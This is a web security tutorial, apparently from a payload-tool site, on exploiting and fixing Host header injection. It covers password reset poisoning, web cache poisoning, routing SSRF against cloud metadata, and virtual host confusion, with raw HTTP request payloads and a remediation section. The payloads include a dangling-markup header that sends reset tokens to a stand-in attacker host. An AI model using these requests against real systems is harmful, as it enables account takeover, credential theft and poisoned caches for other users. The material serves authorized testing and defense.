Host Header Injection: Password Reset Poisoning, Cache Poisoning, and SSRF
The HTTP Host header is attacker-controlled by definition. The client sends it, nothing in the protocol authenticates it, and yet a surprising number of applications trust it implicitly — using it to build password reset links, generate absolute URLs, route requests to back-end services, or decide which virtual host should answer. When that trust is misplaced, a single header you control turns into account takeover, poisoned caches that hit every visitor, or server-side requests against internal infrastructure.
This guide covers the practical exploitation paths for Host header injection during authorized testing: password reset poisoning, web cache poisoning via Host-derived URLs, routing-based SSRF, and virtual host confusion. Each technique includes the request shapes you actually send, the indicators that tell you it worked, and what the defender needs to change. The framing throughout assumes you have explicit permission to test the target — never run these against systems you do not own or have a signed scope for.
Why the Host Header Is Trusted (And Why That Breaks)
Frameworks expose the Host header through convenient APIs — request.get_host() in Django, req.headers.host in Express, $_SERVER['HTTP_HOST'] in PHP, request.url.host in many others. Developers reach for these to answer the question "what domain am I running on?" so they can build links that point back to the app. The flaw is that the answer comes from the request, not from configuration. An attacker who controls the header controls the answer.
Real deployments make this worse. A load balancer or CDN sits in front of the origin and forwards traffic, and the origin often reads alternate headers like X-Forwarded-Host, X-Forwarded-Server, or Forwarded to recover the "original" host the client requested. Each of these is a second attacker-controlled input. Even when the front-end normalizes Host, it frequently passes these forwarding headers straight through untouched.
Two more tricks expand the surface. Many servers accept duplicate Host headers and prefer the first or last one inconsistently between proxy and origin. And some accept an absolute request line — GET https://target.com/ HTTP/1.1 — where the authority in the URI overrides the Host header on certain back-ends but not their front-end proxies. These desync primitives let you smuggle a value past a front-end that thinks it is validating Host.
Detecting Host Header Injection
Start by sending an arbitrary, distinctive value and watching where it lands. Use a domain you control or an out-of-band collaborator so any reflection or callback is unambiguous.
GET / HTTP/1.1
Host: attacker-controlled.example
X-Forwarded-Host: attacker-controlled.example
Connection: close
Then look in three places: the response body (reflected in links, canonical tags, scripts, or open-graph URLs), the response headers (a Location redirect that bounces you to your host), and any out-of-band signal (a DNS or HTTP hit to your collaborator suggesting the back-end made a request using your host). Try the variants methodically:
- Override
Hostdirectly, then keep a valid Host but addX-Forwarded-Host,X-Forwarded-Server,X-Host, andForwarded: host=.... - Send a valid Host followed by an injected one on a second line, and try reordering them.
- Try an absolute URI in the request line with a mismatched Host header.
- Append a port (
Host: target.com:badport) or a path-confusing suffix to see how the value is parsed downstream.
Reflection in the body is your fastest signal, but the absence of reflection does not mean the header is unused — password reset and SSRF paths often consume the Host without echoing it. When you suspect that, drive the actual feature (request a reset email, trigger a webhook) and watch your collaborator. If you need to fuzz forwarding headers at scale, Burp's Param Miner enumerates unkeyed and accepted headers automatically.
Password Reset Poisoning
This is the highest-impact, most common Host header bug. The pattern: a user requests a password reset, the back-end generates a one-time token, and it builds the reset link by concatenating the request's host with the token — then emails that link. If the host comes from the request, the attacker chooses the domain in the link.
POST /api/password-reset HTTP/1.1
Host: attacker.example
Content-Type: application/x-www-form-urlencoded
Content-Length: 27
[email protected]
If the application emails a link like https:https://attacker.example/reset?token=Xq9..., you have a clean takeover primitive that needs only victim interaction with their own legitimate-looking email. When the raw Host is validated, fall back to forwarding headers:
POST /api/password-reset HTTP/1.1
Host: company.com
X-Forwarded-Host: attacker.example
Content-Type: application/x-www-form-urlencoded
Content-Length: 27
[email protected]
A subtler variant survives even strict host validation: dangling markup injection. If the app accepts company.com but reflects the full header value, inject a host that keeps the legitimate domain at the front but exfiltrates the token to your server when the victim's mail client renders an image:
X-Forwarded-Host: company.com/'><img src='https://attacker.example/c?
The resulting link or HTML breaks out so the token trails into a request to your collector. When you find a reflected reset link but a CSP or encoding partly blocks the breakout, the Encoding Pipeline is useful for testing how the value is decoded and re-encoded across the mail-rendering boundary.
To prove impact responsibly, register your own victim account, run the flow against it, and demonstrate that the token reaches a server you control. Do not capture tokens belonging to real users.
Web Cache Poisoning via the Host Header
Caches key responses on a subset of the request — typically method, path, and query, sometimes the Host. Any input that changes the response but is not part of the cache key is "unkeyed," and a reflected, unkeyed Host-derived value is a cache poisoning gadget. Poison once, and every subsequent visitor to that cache key gets your payload.
The classic target is an absolute URL the page builds from the host — a canonical tag, an open-graph image, or a script src:
GET /?cachebuster=8842 HTTP/1.1
Host: target.com
X-Forwarded-Host: attacker.example
If the cached response contains <link rel="canonical" href="https:https://attacker.example/"> or, worse, <script src="https:https://attacker.example/app.js">, you have stored XSS delivered to the whole cached population. Workflow:
- Add a unique
cachebusterquery value so you never poison the live key while confirming reflection. - Confirm caching from response headers —
X-Cache: HIT,CF-Cache-Status: HIT, or a risingAge. - Check the
Varyheader; it tells you what is keyed and therefore what is not. - Once reflection is confirmed, drop the cachebuster to poison the real entry, then re-request without your header to prove a clean client receives the payload.
This technique overlaps heavily with header-based poisoning in general; for the broader unkeyed-header methodology and CDN-specific notes see the web cache poisoning guide. For DoS, poison a high-traffic path with a Host the origin rejects so the cache stores the resulting 404 or 500.
Routing-Based SSRF and Virtual Host Confusion
When a reverse proxy uses the Host header to decide where to route, an attacker who supplies an internal hostname can make the proxy connect to internal services — routing-based SSRF. The request looks legitimate to the front-end; the destination is chosen by your header.
GET / HTTP/1.1
Host: 169.254.169.254
Connection: close
Against cloud metadata endpoints this can surface IAM credentials; against internal admin panels it can reach interfaces that assume network-level trust. Try internal hostnames, RFC 1918 addresses, link-local ranges, and known internal service names. The behavioral tells are timing differences, distinct error pages, or content that clearly came from a different back-end than the public site.
Virtual host confusion is the sibling issue: one origin serves many vhosts, and supplying the Host of an internal-only or default vhost can expose staging apps, debug consoles, or an admin vhost that was never meant to face the internet:
GET /admin HTTP/1.1
Host: internal-admin.target.local
Connection: close
Because these requests reach internal targets, keep your probing read-only and within scope — enumerate reachability and identify the service, but do not pivot, exfiltrate data, or interact with internal admin functions beyond what your authorization permits. For payload ideas against the requests the back-end then makes, the SSRF cheatsheet collects the metadata endpoints, bypass encodings, and protocol smuggling tricks worth trying once you have a routing primitive.
Remediation and Defenses
The fixes are well understood; the failure is almost always trusting request-derived host data for security-relevant decisions.
- Maintain an allowlist of expected hostnames. Validate the incoming Host (and any forwarding header you choose to honor) against that list and reject mismatches with a 400 before any routing or link generation. Django's
ALLOWED_HOSTSis the canonical example; implement the equivalent everywhere. - Never build absolute URLs from the request host. For password reset, verification, and notification links, use a configured, server-side base URL (an environment variable or config value), not
HostorX-Forwarded-Host. This single change kills reset poisoning outright. - Strip or normalize forwarding headers at the edge. The front-end proxy should overwrite
X-Forwarded-Host,X-Forwarded-Server,Forwarded, and similar headers rather than passing client-supplied values to the origin. Only trust them when they originate from your own infrastructure. - Reject ambiguous requests. Drop requests with duplicate Host headers, with an absolute URI whose authority disagrees with the Host, or with a host containing unexpected characters. Keep front-end and back-end parsing aligned to prevent desync.
- Include the Host in the cache key when responses vary by host, or — better — stop reflecting host-derived values into cacheable responses at all. Audit canonical tags, OG metadata, and dynamically built script/link URLs.
- Bind virtual hosts explicitly and configure a safe default vhost that returns a generic error for unknown hosts, so an attacker cannot fall through to an internal app. Do not let one server block silently serve internal vhosts to public traffic.
For a quick regression check, automate the detection requests above against staging on every release: send an off-allowlist Host and forwarding header, then assert that reset emails point only at the configured domain, that no canonical or script URL reflects the injected value, and that unknown hosts get a clean rejection rather than an internal page. Host header injection is cheap to test and cheap to fix — the cost only shows up when nobody checks.
Put this into practice
Generate and test these payloads interactively — free, in your browser.
Level up your security testing
Install the CLI
npx payload-playgroundExplore All Tools
Encoding, hashing, JWT & more
Browse Cheat Sheets
Quick-reference payload guides